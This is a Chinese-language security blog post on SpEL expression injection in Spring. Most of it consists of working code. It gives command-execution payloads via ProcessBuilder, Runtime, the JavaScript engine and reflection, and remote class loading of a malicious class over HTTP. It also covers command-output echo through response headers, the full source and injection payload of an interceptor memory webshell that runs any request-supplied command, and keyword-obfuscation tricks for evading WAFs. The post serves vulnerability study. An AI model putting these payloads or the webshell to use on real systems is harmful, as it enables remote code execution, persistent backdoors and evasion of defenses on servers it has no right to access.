SPEL表达式注入

前言

在项目中添加spring依赖,版本不用太高,高版本Spring必须使用Java17及以上,Java从15开始移除了Js引擎

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.0</version>
</dependency>
</dependencies>

33cc317eee9d44cd8b3891e6772e6040

SPEL简介

Spring表达式语言(Spring Expression Language)可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等。官方描述 SpEL 作为 Spring 产品组合中表达式评估的基础,但它并不直接与 Spring 绑定,可以独立使用。

使用方法

主要介绍与安全相关的一些用法

把官网的例子扒下来,这段代码就是SpEL单独使用的体现(注意:ExpressionParser知道它处理的是SpEL 表达式,所以不需要Spel定界符#{},直接传字符串就行)

示例一

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) {
SpelExpressionParser parser = new SpelExpressionParser(); //SPEL解析器
Expression value = parser.parseExpression("'Hello World'.concat('!')"); //解析了一个字符串表达式,并且表达式调用了字符串对象的concat方法
System.out.println(value.getValue()); //得到解析的值,输出
}
}

示例二

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Spel{
public String name = "sp4rks3";

public static void main(String[] args) {
Spel userObj = new Spel();
//创建上下文对象,StandardEvaluationContext是EvaluationContext API的实现之一
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("user", userObj); //通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser(); //SPEL解析器
Expression expression = parser.parseExpression("#user.name"); //解析表达式
System.out.println((expression.getValue(context))); //得到解析的值,输出
}
}

这段代码涉及SpEL的变量定义和引用

在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的root对象;
  • @something:引用Bean

SpEL表达式注入

漏洞原理

SimpleEvaluationContextStandardEvaluationContext 是 SpEL 提供的两种不同的 EvaluationContext,它们提供了不同的功能和限制:

  • SimpleEvaluationContext:适用于不需要复杂 SpEL 语法的场景,主要面向限制性较强的表达式,缺少一些功能,比如 Java 类型引用、构造函数调用和 Bean 引用。
  • StandardEvaluationContext:提供了完整的 SpEL 功能,允许使用所有的 SpEL 特性,包括对 Java 类型引用、构造函数调用、Bean 引用等的支持。

默认情况下,SpEL 使用的是 StandardEvaluationContext,如果输入的表达式没有适当的限制和验证,则用户可以通过表达式执行任意命令或操作,从而导致 命令执行漏洞任意代码执行问题。

RCE第一部分

调用ProcessBuilder

平常我们使用java代码这样写

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) throws IOException {
String[] str = new String[]{"cmd","/c","calc"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();
}
}

结合spel也差不多,也可以使用new来调用构造方法,唯一的区别是类名必须是全限定名,例外是java.lang包下的类无需使用全限定类名

1
2
3
4
5
6
7
8
9
public class Main {
public static void main(String[] args) {
String str = "new java.lang.ProcessBuilder(new String[]{'cmd','/c','calc'}).start()";

ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression exp = parser.parseExpression(str); //解析表达式
System.out.println(exp.getValue()); //弹出计算器
}
}

image-20250221003120034

当然java.lang包下的类无需使用全限定类名,所以表达式可简化来bypass

1
String str = "new ProcessBuilder(new String[]{'calc'}).start()";

通过String类动态生成字符

1
String str = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";

调用RunTime

在SpEL 中,使用 T(Type) 语法可以用于访问 Java 类类型。T()操作符会返回一个object,它可以帮助我们获取某个类的静态方法和类静态字段 , 用法T(全限定类名).方法名()

由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例

1
2
3
4
5
6
7
8
9
public class Main {
public static void main(String[] args) {
String str = "T(java.lang.Runtime).getRuntime().exec('calc')";

ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression exp = parser.parseExpression(str); //解析表达式
System.out.println( exp.getValue() ); //弹出计算器
}
}

image-20250221004553950

字符串数组写法

1
String str="T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'})";

当然也可以使用反射的写法

1
String str = "T(String).getClass().forName('java.lang.Runtime').getRuntime().exec('calc')";

当然也可以用String类动态生成字符

1
String str = "T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))";

调用ScriptEngine

Java内置了JavaScript引擎,可以执行JS代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

获取所有的JS引擎信息

image-20250221120223749

通过结果中的Names,我们知道了所有的js引擎名称,所以getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],举个例子:

平常Java写法

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) throws ScriptException {
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);"));
}
}

结合SpEL,通过new调用构造方法

1
2
3
4
5
6
7
8
9
public class Main {
public static void main(String[] args) {
String str = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression exp = parser.parseExpression(str); //解析表达式
System.out.println( exp.getValue() ); //弹出计算器
}
}

image-20250221005648641

一些其他的写法,可以简单的bypass

通过StreamUtils,copy一个输入流

1
String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\"),)";

JavaScript引擎+反射调用

1
String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(String).getClass().forName('java.lang.Runtime').getMethod('exec',T(String[])).invoke(T(String).getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(T(String).getClass().forName('java.lang.Runtime')),new String[]{'cmd','/C','calc'})),)";

JavaScript引擎+URL编码

1
String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29')),)";

当然在Java15及其之后这一部分就不行了

RCE第二部分

这部分主要是动态类加载,可以看组长视频视频

UrlClassloader

准备一个恶意class,用python起一个http服务

1
2
3
4
5
6
7
8
9
10
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
};
}

远程加载就行

1
2
3
4
5
6
7
8
public class Main {
public static void main(String[] args) {
String str = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass('Test').getConstructors()[0].newInstance()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(str);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

AppClassloader

获取ClassLoader去加载本地的类

1
2
3
4
5
6
7
8
public class Main {
public static void main(String[] args) {
String str = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(str);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}

通过其他方法获取ClassLoader

假如ban掉了一些关键字,我们如何获取classloader成为了问题,有如下几种方法。

1
2
3
4
5
6
7
8
9
10

T(org.springframework.expression.Expression).getClass().getClassLoader()

#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

#web服务下通过内置对象
request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

举个例子:

当然需要上下文环境支持才行

image-20250226182908216

image-20250226182505676

只要能获取到都是可以的。

回显研究

这里不会配置的可以去看看这个视频,Spring还是得学的喔

那么在Web服务中,困扰我们最多的就是回显问题了,命令执行成功了,不出网,怎么把结果带出来呢?

1
2
3
4
5
6
7
8
9
10
11
@Controller
public class Spelcontroller {

@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload){
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue();
}
}

BufferedReader

其实这并不是纯粹的回显,因为需要return这个返回结果,而真实情况一般是不会return这个结果的。

1
payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

image-20250223184256554

这只是返回值为输出结果的String而已。

Scanner

和Buffer一样,都只能算得上是半回显

1
payload=new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("Sp4rks3").next()

这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

image-20250223184552370

ResponseHeader

这种方法才称得上是通用回显
这种方法需要有一个方法可以addHeader,可是spring并不自带这个方法。因此获取到Response有些许困难,需要注册一个response进上下文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Controller
public class Spelcontroller {

@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload, HttpServletResponse response) {
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("response", response);
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue(context);
}
}

1
payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

image-20250223185258243

内存马利用

c0ny1师傅在这篇文章 提出高可用Payload

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()

defineClass

分析一下这个payload,我们的目的是要加载一个类并且实例化,这里直接选用了spring自带的工具类ReflectUtils,因为它支持从字节码加载。

ClassLoader

加载一个类需要指定Classloader,我们直接选定当前线程上下文的ClassLoader
T(java.lang.Thread).currentThread().getContextClassLoader()

Mlet

MLet 曾经是 Java 动态类加载的一个部分,可能是为了一些老旧的管理系统或者一些特定的环境中,可能会利用 MLet 来加载类。所以c0ny1师傅使用它可能是出于与旧系统的兼容性考虑。

当然可以自己简化一下

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

内存马

内存马选用的话就Spring内存马就行了。这里选了一个interceptor内存马 (抄的pop师傅的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {

static {
System.out.println("start");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}


@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

把它变为base64,用payload注入即可

image-20250226142252836

image-20250226142338959

坑点

还是老生常谈的两个坑点:

  1. base64会出现 + 号,http请求会把传参时会将+号识别为空格,所以后端解析报错,解决办法就是url编码一下。

image-20250226143237335

  1. 内存马的类编写的时候不能在任何package下面,类加载器会按照package的路径进行加载,如果类的 package 声明与实际文件路径不匹配,类加载器将无法正确加载该类。

WAF绕过

关键字类

针对关键字或黑名单过滤检查的场景我们可以通过反射调用来绕过,具体代码如下所示:

1
2
3
4
5
6
7
8
public class ExecuteTest {
public static void main(String[] args) throws Exception {
String spel = "T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})";
ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression expression = parser.parseExpression(spel); //解析表达式
System.out.println(expression.getValue()); //弹出计算器
}
}

备注:如果过滤了.getClass则可以使用’’.class.getSuperclass().class替代

字符串替换

1
T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))

image-20250223191313372

外部对象request

假如上下文中有request对象的话就也有几种方法

1
2
3
4
5
6
7
8
9
//request.getMethod()为POST

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
//request.getMethod()为GET

#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)

//Cookie
#request.getRequestedSessionId()

参考连接

SpEL入门:外部属性注入

Spring Expression Language

SimpleEvaluationContext (Spring Framework 5.0.6.RELEASE API)

SpEL注入RCE分析与绕过 - 先知社区

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

SPEL表达式注入总结及回显技术 - Boogiepop Doesn’t Laugh

文章 - JAVA安全之SpEL表达式执行 - 先知社区

Java 之 SpEL 表达式注入

Spring cloud gateway通过SPEL注入内存马

Spring MVC 教程 已完结(IDEA 2023最新版)4K蓝光画质 基于Spring6的全新重制版本 起立到起飞


SPEL表达式注入
https://sp4rks3.github.io/2025/02/19/JAVA安全/反序列化/SPEL表达式注入/
作者
Sp4rks3
发布于
2025年2月19日
许可协议